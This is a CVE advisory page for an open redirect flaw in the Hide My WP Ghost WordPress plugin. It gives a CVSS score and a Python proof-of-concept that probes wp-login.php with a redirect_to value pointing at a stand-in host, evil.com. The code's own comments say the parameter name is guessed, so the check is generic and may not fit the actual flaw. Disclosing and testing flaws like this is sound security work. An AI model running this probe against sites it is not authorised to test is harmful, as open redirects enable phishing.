CVE-2026-39484

Description

URL Redirection to Untrusted Site ('Open Redirect') vulnerability in John Darrel Hide My WP Ghost hide-my-wp allows Phishing.This issue affects Hide My WP Ghost: from n/a through < 7.0.00.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Hide My WP Ghost < 7.0.00

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-39484 (Open Redirect)
# Target: Hide My WP Ghost < 7.0.00

import requests

def check_open_redirect(target_domain):
    # The vulnerable endpoint often accepts a redirection parameter
    # Common parameter names in WP plugins include 'redirect_to', 'url', 'next', etc.
    # This example assumes a common implementation pattern.
    
    evil_site = "https://evil.com"
    
    # Construct the malicious payload
    # Note: The actual parameter name might need adjustment based on the specific plugin endpoint
    target_url = f"{target_domain}/wp-login.php?redirect_to={evil_site}"
    
    try:
        response = requests.get(target_url, allow_redirects=False)
        
        # Check if the response is a 302 Redirect and points to the external site
        if response.status_code == 302:
            location = response.headers.get('Location')
            if location and evil_site in location:
                return f"[+] Vulnerable! Redirecting to: {location}"
            else:
                return "[-] Not vulnerable or parameter incorrect."
        else:
            return "[-] No redirect detected."
            
    except Exception as e:
        return f"[!] Error: {e}"

if __name__ == "__main__":
    # Replace with the actual target URL
    target = "http://example.com"
    print(check_open_redirect(target))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39484
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39484
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39484/
[4] VulDB https://vuldb.com/cve/CVE-2026-39484
[5] https://patchstack.com/database/Wordpress/Plugin/hide-my-wp/vulnerability/wordpress-hide-my-wp-ghost-plugin-7-0-00-open-redirection-vulnerability?_s_id=cve

Raw JSON Data

JSON

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